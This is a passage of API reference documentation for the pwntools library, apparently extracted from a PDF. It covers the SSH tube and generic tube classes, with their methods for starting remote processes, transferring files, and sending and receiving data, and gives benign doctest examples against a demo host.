- **env** (*dict*) – Environment variables to set in the child. If *None*, inherits the default environment.
- **timeout** (*int*) – Timeout to set on the *tube* created to interact with the process.
- **run** (*bool*) – Set to *True* to run the program (default). If *False*, returns the path to an executable Python script on the remote server which, when executed, will do it.
- **stdin** (*int*, *str*) – If an integer, replace stdin with the numbered file descriptor. If a string, open a file with the specified path and replace stdin with its file descriptor. May also be one of `sys.stdin`, `sys.stdout`, `sys.stderr`. If *None*, the file descriptor is closed.
- **stdout** (*int*, *str*) – See `stdin`.
- **stderr** (*int*, *str*) – See `stdin`.
- **preexec_fn** (*callable*) – Function which is executed on the remote side before `execve()`. This **MUST** be a self-contained function – it must perform all of its own imports, and cannot refer to variables outside its scope.
- **preexec_args** (*object*) – Argument passed to `preexec_fn`. This **MUST** only consist of native Python objects.
- **raw** (*bool*) – If *True*, disable TTY control code interpretation.
- **aslr** (*bool*) – See `pwnlib.tubes.process.process` for more information.
- **setuid** (*bool*) – See `pwnlib.tubes.process.process` for more information.
- **shell** (*bool*) – Pass the command-line arguments to the shell.

Returns A new SSH channel, or a path to a script if `run=False`.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline(b'echo Hello; exit')
>>> sh.recvall()
b'Hello\n'
>>> s.process(['/bin/echo', b'\xff']).recvall()
b'\xff\n'
>>> s.process(['readlink', '/proc/self/exe']).recvall()
b'/bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe', executable='readlink']).recvall()
b'/bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline', executable='cat').
↪recvall()
b'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh') # doctest: +SKIP
True
```

(continues on next page)

(continued from previous page)

```
>>> s.process(['pwd'], cwd='/tmp').recvall()
b'/tmp\n'
>>> p = s.process(['python', '-c', 'import os; print(os.read(2, 1024))'],
↳ stderr=0)
>>> p.send(b'hello')
>>> p.recv()
b'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
b'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
b''
>>> s.process(['/usr/bin/env'], env={}).recvall()
b''
>>> s.process('/usr/bin/env', env={'A': 'B'}).recvall()
b'A=B\n'
```

```
>>> s.process('false', preexec_fn=1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn must be a function
```

```
>>> s.process('false', preexec_fn=lambda: 1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn cannot be a lambda
```

```
>>> def uses_globals():
...     foo = bar
>>> print(s.process('false', preexec_fn=uses_globals).recvall().strip().
↳ decode()) # doctest: +ELLIPSIS
Traceback (most recent call last):
...
NameError: global name 'bar' is not defined
```

```
>>> s.process('echo hello', shell=True).recvall()
b'hello\n'
```

put (*file_or_directory*, *remote=None*)
upload(*file_or_directory*, *remote=None*)

Upload a file or directory to the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

read (*path*)

Wrapper around `download_data` to match `pwnlib.util.misc.read()`

remote (*host*, *port*, *timeout=pwnlib.timeout.Timeout.default*)

`connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter`

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_connecter` object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> a=a; b = l.wait_for_connection() # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

run (*process*, *tty=True*, *wd=None*, *env=None*, *timeout=None*, *raw=True*)

Backward compatibility. Use `system()`

run_to_end (*process*, *tty = False*, *timeout = Timeout.default*, *env = None*) → str

Run a command on the remote server and return a tuple with (data, exit_status). If *tty* is True, then the command is run inside a TTY on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> print(s.run_to_end('echo Hello; exit 17'))
(b'Hello\n', 17)
```

set_working_directory (*wd=None*, *symlink=False*)

Sets the working directory in which future commands will be run (via `ssh.run`) and to which files will be uploaded/downloaded from if no path is provided

Note: This uses `mktemp -d` under the covers, sets permissions on the directory to 0700. This means that `setuid` binaries will **not** be able to access files created in this directory.

In order to work around this, we also `chmod +x` the directory.

Parameters

- **wd** (*string*) – Working directory. Default is to auto-generate a directory based on the result of running ‘`mktemp -d`’ on the remote machine.
- **symlink** (*bool*, *str*) – Create symlinks in the new directory.

The default value, `False`, implies that no symlinks should be created.

A string value is treated as a path that should be symlinked. It is passed directly to the shell on the remote end for expansion, so wildcards work.

Any other value is treated as a boolean, where `True` indicates that all files in the “old” working directory should be symlinked.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
b''
>>> s.pwd() == cwd
True
```

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> homedir = s.pwd()
>>> _=s.touch('foo')
```

```
>>> _=s.set_working_directory()
>>> assert s.ls() == b''
```

```
>>> _=s.set_working_directory(homedir)
>>> assert b'foo' in s.ls().split()
```

```
>>> _=s.set_working_directory(symlink=True)
>>> assert b'foo' in s.ls().split()
>>> assert homedir != s.pwd()
```

```
>>> symlink=os.path.join(homedir,b'*)
>>> _=s.set_working_directory(symlink=symlink)
>>> assert b'foo' in s.ls().split()
>>> assert homedir != s.pwd()
```

shell (*shell = None, tty = True, timeout = Timeout.default*) → *ssh_channel*

Open a new channel with a shell inside.

Parameters

- **shell** (*str*) – Path to the shell program to run. If *None*, uses the default shell for the logged in user.
- **tty** (*bool*) – If *True*, then a TTY is requested on the remote server.

Returns Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline(b'echo Hello; exit')
>>> print(b'Hello' in sh.recvall())
True
```

system(*process*, *tty* = *True*, *wd* = *None*, *env* = *None*, *timeout* = *Timeout.default*, *raw* = *True*) → *ssh_channel*

Open a new channel with a specific process inside. If *tty* is *True*, then a TTY is requested on the remote server.

If *raw* is *True*, terminal control codes are ignored and input is not echoed back.

Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> py = s.run('python -i')
>>> _ = py.recvuntil(b'>>> ')
>>> py.sendline(b'print(2+2)')
>>> py.sendline(b'exit')
>>> print(repr(py.recvline()))
b'4\n'
```

unlink(*file*)

Delete the file on the remote host

Parameters *file* (*str*) – Path to the file

upload(*file_or_directory*, *remote*=*None*)

Upload a file or directory to the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

upload_data(*data*, *remote*)

Uploads some data into a file on the remote server.

Parameters

- **data** (*str*) – The data to upload.
- **remote** (*str*) – The filename to upload it to.

Example

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> s.upload_data(b'Hello, world', '/tmp/upload_foo')
>>> print(open('/tmp/upload_foo').read())
Hello, world
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data(b'Hello, world', '/tmp/upload_bar')
>>> print(open('/tmp/upload_bar').read())
Hello, world
```

upload_dir (*local*, *remote=None*)

Recursively uploads a directory onto the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

upload_file (*filename*, *remote=None*)

Uploads a file to the remote server. Returns the remote filename.

Arguments: *filename*(str): The local filename to download *remote*(str): The remote filename to save it to.
Default is to infer it from the local filename.

which (*program*) → str

Minor modification to just directly invoking *which* on the remote system which adds the current working directory to the end of \$PATH.

write (*path*, *data*)

Wrapper around *upload_data* to match `pwnlib.util.misc.write()`

arch

CPU Architecture of the remote machine.

Type str

aslr

Whether ASLR is enabled on the system.

Example

```
>>> s = ssh("runner", "example.pwnme")
>>> s.aslr
True
```

Type bool

aslr_ulimit

Whether the entropy of 32-bit processes can be reduced with ulimit.

Type bool

bits

Pointer size of the remote machine.

Type str

cache = True

Enable caching of SSH downloads (bool)

client = None

Paramiko SSHClient which backs this object

cwd = None

Working directory (str)

distro

Linux distribution name and release.

Type tuple

host = None

Remote host name (`str`)

os

Operating System of the remote machine.

Type `str`

pid = None

PID of the remote `sshd` process servicing this connection.

port = None

Remote port (`int`)

sftp

Paramiko SFTPClient object which is used for file transfers. Set to `None` to disable `sftp`.

version

Kernel version of the remote machine.

Type `tuple`

class `pwnlib.tubes.ssh.ssh_channel`

Bases: `pwnlib.tubes.sock.sock`

interactive (*prompt* = `pwnlib.term.text.bold_red('$') + ' '`)

If not in TTY-mode, this does exactly the same as `meth:pwnlib.tubes.tube.tube.interactive`, otherwise it does mostly the same.

An SSH connection in TTY-mode will typically supply its own prompt, thus the `prompt` argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the `pwnlib.term` is more mature.

kill()

Kills the process.

poll() → `int`

Poll the exit code of the process. Will return `None`, if the process has not yet finished and the exit code otherwise.

class `pwnlib.tubes.ssh.ssh_connecter`

Bases: `pwnlib.tubes.sock.sock`

class `pwnlib.tubes.ssh.ssh_listener`

Bases: `pwnlib.tubes.sock.sock`

2.27.2 `pwnlib.tubes.tube` — Common Functionality

class `pwnlib.tubes.tube.tube`

Container of all the tube functions common to sockets, TTYs and SSH connetions.

can_read (**a, **kw*)

Alias for `can_recv()`

can_read_raw (**a, **kw*)

Alias for `can_recv_raw()`

can_recv (*timeout* = 0) → `bool`

Returns `True`, if there is data available within *timeout* seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
>>> t.can_recv()
False
>>> _=t.unrecv(b'data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
```

`clean (timeout = 0.05)`

Removes all the buffered data from a tube by calling `pwnlib.tubes.tube.tube.recv()` with a low timeout until it fails.

If timeout is zero, only cached data will be cleared.

Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

Returns All data received

Examples

```
>>> t = tube()
>>> t.unrecv(b'clean me up')
>>> t.clean(0)
b'clean me up'
>>> len(t.buffer)
0
```

`clean_and_log (timeout = 0.05)`

Works exactly as `pwnlib.tubes.tube.tube.clean()`, but logs received data with `pwnlib.self.info()`.

Returns All data received

Examples

```
>>> def recv(n, data=[b'', b'hooray_data']):
...     while data: return data.pop()
>>> t = tube()
>>> t.recv_raw = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno = lambda: 1234
>>> with context.local(log_level='info'):
...     data = t.clean_and_log() #doctest: +ELLIPSIS
[DEBUG] Received 0xb bytes:
      b'hooray_data'
>>> data
b'hooray_data'
>>> context.clear()
```

close()

Closes the tube.

connect_both (*other*)

Connects the both ends of this tube object with another tube object.

connect_input (*other*)

Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print(x.decode())
>>> def recvone(n, data=[b'data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> import time
>>> _(b.connect_input(a), time.sleep(0.1))
data
```

connect_output (*other*)

Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print(repr(x))
>>> def recvone(n, data=[b'data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> _(a.connect_output(b), time.sleep(0.1))
b'data'
```

connected (*direction* = 'any') → bool

Returns True if the tube is connected in the specified direction.

Parameters *direction* (*str*) – Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'.

Doctest:

```

>>> def p(x): print(x)
>>> t = tube()
>>> t.connected_raw = p
>>> _=list(map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write',
↪ 'send'))))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send',
↪ 'write']"

```

fileno() → int

Returns the file number used for reading.

interactive (*prompt* = *pwnlib.term.text.bold_red('\$') + ' '*)

Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using *pwnlib.term* to print a floating prompt.

Thus it only works in while in *pwnlib.term.term_mode*.

read (*a, **kw)

Alias for *recv()*

readS (*a, **kw)

Alias for *recvS()*

read_raw (*a, **kw)

Alias for *recv_raw()*

readall (*a, **kw)

Alias for *recvall()*

readallS (*a, **kw)

Alias for *recvallS()*

readallb (*a, **kw)

Alias for *recvallb()*

readb (*a, **kw)

Alias for *recvb()*

readline (*a, **kw)

Alias for *recvline()*

readlines (*a, **kw)

Alias for *recvlines()*

readline_contains (*a, **kw)

Alias for *recvline_contains()*

readline_containsS (*a, **kw)

Alias for *recvline_containsS()*

readline_containsb (*a, **kw)
Alias for *recvline_containsb*()

readline_endswith (*a, **kw)
Alias for *recvline_endswith*()

readline_endswithS (*a, **kw)
Alias for *recvline_endswithS*()

readline_endswithb (*a, **kw)
Alias for *recvline_endswithb*()

readline_pred (*a, **kw)
Alias for *recvline_pred*()

readline_regex (*a, **kw)
Alias for *recvline_regex*()

readline_regexS (*a, **kw)
Alias for *recvline_regexS*()

readline_regexpb (*a, **kw)
Alias for *recvline_regexpb*()

readline_startswith (*a, **kw)
Alias for *recvline_startswith*()

readline_startswithS (*a, **kw)
Alias for *recvline_startswithS*()

readline_startswithb (*a, **kw)
Alias for *recvline_startswithb*()

readlineb (*a, **kw)
Alias for *recvlineb*()

readlines (*a, **kw)
Alias for *recvlines*()

readlinesS (*a, **kw)
Alias for *recvlinesS*()

readlinesb (*a, **kw)
Alias for *recvlinesb*()

readn (*a, **kw)
Alias for *recvn*()

readnS (*a, **kw)
Alias for *recvnS*()

readnb (*a, **kw)
Alias for *recvnb*()

readpred (*a, **kw)
Alias for *recvpred*()

readpredS (*a, **kw)
Alias for *recvpredS*()

readpredb (*a, **kw)
Alias for *recvpredb*()

readregex (*a, **kw)
Alias for *recvregex* ()

readregexS (*a, **kw)
Alias for *recvregexS* ()

readregexb (*a, **kw)
Alias for *recvregexb* ()

readrepeat (*a, **kw)
Alias for *recvrepeat* ()

readrepeatS (*a, **kw)
Alias for *recvrepeatS* ()

readrepeatb (*a, **kw)
Alias for *recvrepeatb* ()

readuntil (*a, **kw)
Alias for *recvuntil* ()

readuntilS (*a, **kw)
Alias for *recvuntilS* ()

readuntilb (*a, **kw)
Alias for *recvuntilb* ()

recv (numb = 4096, timeout = default) → bytes

Receives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (' ') is returned.

Raises `exceptions.EOFError` – The connection is closed

Returns A bytes object containing bytes received from the socket, or ' ' if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: b'Hello, world'
>>> t.recv() == b'Hello, world'
True
>>> t.unrecv(b'Woohoo')
>>> t.recv() == b'Woohoo'
True
>>> with context.local(log_level='debug'):
...     _ = t.recv() # doctest: +ELLIPSIS
[...] Received 0xc bytes:
      b'Hello, world'
```

recvS (*a, **kw)

Same as *recv* (), but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvall () → bytes

Receives data until EOF is reached.

recvallS (*a, **kw)

Same as `recvall()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvallb (*a, **kw)

Same as `recvall()`, but returns a bytearray

recvb (*a, **kw)

Same as `recv()`, but returns a bytearray

recvline (keepends=True, timeout=default) → bytes

Receive a single line from the tube.

A “line” is any sequence of bytes terminated by the byte sequence set in `newline`, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

Parameters

- **keepends** (*bool*) – Keep the line ending (True).
- **timeout** (*int*) – Timeout

Returns All bytes received over the tube until the first newline `'\n'` is received. Optionally retains the ending.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\r\nBaz\n'
>>> t.recvline()
b'Foo\n'
>>> t.recvline()
b'Bar\r\n'
>>> t.recvline(keepends = False)
b'Baz'
>>> t.newline = b'\r\n'
>>> t.recvline(keepends = False)
b'Foo\nBar'
```

recvlines (*a, **kw)

Same as `recvline()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvline_contains (items, keepends=False, timeout=pwnlib.timeout.Timeout.default)

Receive lines until one line is found which contains at least one of `items`.

Parameters

- **items** (*str, tuple*) – List of strings to search for, or a single string.
- **keepends** (*bool*) – Return lines with newlines if True
- **timeout** (*int*) – Timeout, in seconds

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_contains(b'r')
b'World'
>>> f = lambda n: b"cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(b'pear')
b'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains((b'car', b'train'))
b'bicycle car train'
```

recvline_containsS (*a, **kw)

Same as `recvline_contains()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvline_containsb (*a, **kw)

Same as `recvline_contains()`, but returns a bytearray

recvline_endswith (delims, keepends=False, timeout=default) → bytes

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (' ') is returned.

See `recvline_startswith()` for more details.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith(b'r')
b'Bar'
>>> t.recvline_endswith((b'a', b'b', b'c', b'd', b'e'), True)
b'Kaboodle\n'
>>> t.recvline_endswith(b'oodle')
b'Kaboodle'
```

recvline_endswithS (*a, **kw)

Same as `recvline_endswith()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvline_endswithb (*a, **kw)

Same as `recvline_endswith()`, but returns a bytearray

recvline_pred (pred, keepends=False) → bytes

Receive data until `pred(line)` returns a truthy value. Drop all other data.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (' ') is returned.

Parameters `pred` (callable) – Function to call. Returns the line for which this function returns True.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == b"Bar\n")
b'Bar'
>>> t.recvline_pred(lambda line: line == b"Bar\n", keepends=True)
b'Bar\n'
>>> t.recvline_pred(lambda line: line == b'Nope!', timeout=0.1)
b''
```

recvline_regex (*regex*, *exact=False*, *keepends=False*, *timeout=default*) → bytes

Wrapper around `recvline_pred()`, which will return when a regex matches a line.

By default `re.RegexObject.search()` is used, but if *exact* is set to `True`, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

recvline_regexS (**a*, ***kw*)

Same as `recvline_regex()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_regexb (**a*, ***kw*)

Same as `recvline_regex()`, but returns a bytearray

recvline_startswith (*delims*, *keepends=False*, *timeout=default*) → bytes

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

Parameters

- **delims** (*str*, *tuple*) – List of strings to search for, or string of single characters
- **keepends** (*bool*) – Return lines with newlines if `True`
- **timeout** (*int*) – Timeout, in seconds

Returns The first line received which starts with a delimiter in *delims*.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith((b'W', b'X', b'Y', b'Z'))
b'World'
>>> t.recvline_startswith((b'W', b'X', b'Y', b'Z'), True)
b'Xylophone\n'
>>> t.recvline_startswith(b'Wo')
b'World'
```

recvline_startswithS (**a*, ***kw*)

Same as `recvline_startswith()`, but returns a str, decoding the result using *context.encoding*. (note that the binary versions are way faster)

recvline_startswithb (**a*, ***kw*)

Same as `recvline_startswith()`, but returns a bytearray

recvlineb (*a, **kw)

Same as `recvline()`, but returns a bytearray

recvlines (numlines, keepends=False, timeout=default) → list of bytes objects

Receive up to numlines lines.

A “line” is any sequence of bytes terminated by the byte sequence set by `newline`, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **numlines** (*int*) – Maximum number of lines to receive
- **keepends** (*bool*) – Keep newlines at the end of each line (False).
- **timeout** (*int*) – Maximum timeout

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlines(3)
[b'', b'', b'']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
[b'Foo', b'Bar', b'Baz']
>>> t.recvlines(3, True)
[b'Foo\n', b'Bar\n', b'Baz\n']
```

recvlinesS (numlines, keepends=False, timeout=default) → str list

This function is identical to `recvlines()`, but decodes the received bytes into string using `context.encoding()`. You should use `recvlines()` whenever possible for better performance.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlinesS(3)
['', '', '']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlinesS(3)
['Foo', 'Bar', 'Baz']
```

recvlinesb (numlines, keepends=False, timeout=default) → bytearray list

This function is identical to `recvlines()`, but returns a bytearray.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlinesb(3)
[bytearray(b''), bytearray(b''), bytearray(b'')]
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlinesb(3)
[bytearray(b'Foo'), bytearray(b'Bar'), bytearray(b'Baz')]
```

recvn (*numb*, *timeout = default*) → str

Receives exactly *n* bytes.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (' ') is returned.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or ' ' if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> data = b'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[1:]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or b'a'
>>> t.recvn(10, timeout=0.05)
b''
>>> t.recvn(10, timeout=0.06) # doctest: +ELLIPSIS
b'aaaaaa...'
```

recvns (**a*, ***kw*)

Same as `recvn()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvnb (**a*, ***kw*)

Same as `recvn()`, but returns a bytearray

recvpred (*pred*, *timeout = default*) → bytes

Receives one byte at a time from the tube, until `pred(all_bytes)` evaluates to True.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (' ') is returned.

Parameters

- **pred** (*callable*) – Function to call, with the currently-accumulated data.
- **timeout** (*int*) – Timeout for the operation

Raises `exceptions.EOFError` – The connection is closed

Returns A bytes object containing bytes received from the socket, or `' '` if a timeout occurred while waiting.

recvpreds (*a, **kw)

Same as `recvpred()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvpredb (*a, **kw)

Same as `recvpred()`, but returns a bytearray

recvregex (regex, exact=False, timeout=default) → bytes

Wrapper around `recvpred()`, which will return when a regex matches the string in the buffer.

By default `re.RegexObject.search()` is used, but if `exact` is set to `True`, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

recvregexs (*a, **kw)

Same as `recvregex()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvregexb (*a, **kw)

Same as `recvregex()`, but returns a bytearray

recvrepeat (timeout=default) → bytes

Receives data until a timeout or EOF is reached.

Examples

```
>>> data = [
...     b'd',
...     b'', # simulate timeout
...     b'c',
...     b'b',
...     b'a',
... ]
>>> def delayrecv(n, data=data):
...     return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
b'abc'
>>> t.recv()
b'd'
```

recvrepeatS (*a, **kw)

Same as `recvrepeat()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvrepeatb (*a, **kw)

Same as `recvrepeat()`, but returns a bytearray

recvuntil (delims, drop=False, timeout=default) → bytes

Receive data until one of `delims` is encountered.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

Parameters

- **delims** (*bytes, tuple*) – Byte-string of delimiters characters, or list of delimiter byte-strings.
- **drop** (*bool*) – Drop the ending. If `True` it is removed from the end of the return value.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `' '` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello World!"
>>> t.recvuntil(b' ')
b'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil((b' ',b'W',b'o',b'r'))
b'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(b' Wor')
b'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(b' Wor', drop=True)
b'Hello'
```

```
>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello|World"
>>> t.recvuntil(b'|', drop=True)
b'Hello'
```

recvuntils (**a, **kw*)

Same as `recvuntil()`, but returns a str, decoding the result using `context.encoding`. (note that the binary versions are way faster)

recvuntilb (**a, **kw*)

Same as `recvuntil()`, but returns a bytearray

send (*data*)

Sends data.

If log level `DEBUG` is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises `exceptions.EOFError`

Examples

```
>>> def p(x): print(repr(x))
>>> t = tube()
>>> t.send_raw = p
>>> t.send(b'hello')
b'hello'
```

sendafter (*delim, data, timeout = default*) → str

A combination of `recvuntil(delim, timeout=timeout)` and `send(data)`.

sendline (*data*)

Shorthand for `t.send(data + t.newline)`.

Examples

```
>>> def p(x): print(repr(x))
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline(b'hello')
b'hello\n'
>>> t.newline = b'\r\n'
>>> t.sendline(b'hello')
b'hello\r\n'
```

sendlineafter (*delim, data, timeout = default*) → str

A combination of `recvuntil(delim, timeout=timeout)` and `sendline(data)`.

sendlinethen (*delim, data, timeout = default*) → str

A combination of `sendline(data)` and `recvuntil(delim, timeout=timeout)`.

sendthen (*delim, data, timeout = default*) → str

A combination of `send(data)` and `recvuntil(delim, timeout=timeout)`.

settimeout (*timeout*)

Set the timeout for receiving operations. If the string “default” is given, then `context.timeout` will be used. If `None` is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown (*direction = "send"*)

Closes the tube for further reading or writing depending on *direction*.

Parameters *direction* (*str*) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.

Returns `None`

Examples

```
>>> def p(x): print(x)
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=list(map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send')))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']
↪"
```

spawn_process (*args, **kwargs)

Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as `subprocess.Popen`.

stream()

Receive data until the tube exits, and print it to stdout.

Similar to `interactive()`, except that no input is sent.

Similar to `print(tube.recvall())` except that data is printed as it is received, rather than after all data is received.

Parameters `line_mode` (*bool*) – Whether to receive line-by-line or raw data.

Returns All data printed.

timeout_change()

Informs the raw layer of the tube that the timeout has changed.

Should not be called directly.

Inherited from `Timeout`.

unread (*a, **kw)

Alias for `unrecv()`

unrecv (data)

Puts the specified data back at the beginning of the receive buffer.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: b'hello'
>>> t.recv()
b'hello'
>>> t.recv()
b'hello'
>>> t.unrecv(b'world')
>>> t.recv()
b'world'
```

(continues on next page)

(continued from previous page)

```
>>> t.recv()
b'hello'
```

wait (*timeout=pwntools.timeout.Timeout.default*)

Waits until the tube is closed.

wait_for_close (*timeout=pwntools.timeout.Timeout.default*)

Waits until the tube is closed.

write (**a, **kw*)

Alias for *send()*

write_raw (**a, **kw*)

Alias for *send_raw()*

writeafter (**a, **kw*)

Alias for *sendafter()*

writeline (**a, **kw*)

Alias for *sendline()*

writelineafter (**a, **kw*)

Alias for *sendlineafter()*

writelines (**a, **kw*)

Alias for *sendlines()*

writelinethen (**a, **kw*)

Alias for *sendlinethen()*

writethen (**a, **kw*)

Alias for *sendthen()*

newline = `'\n'`

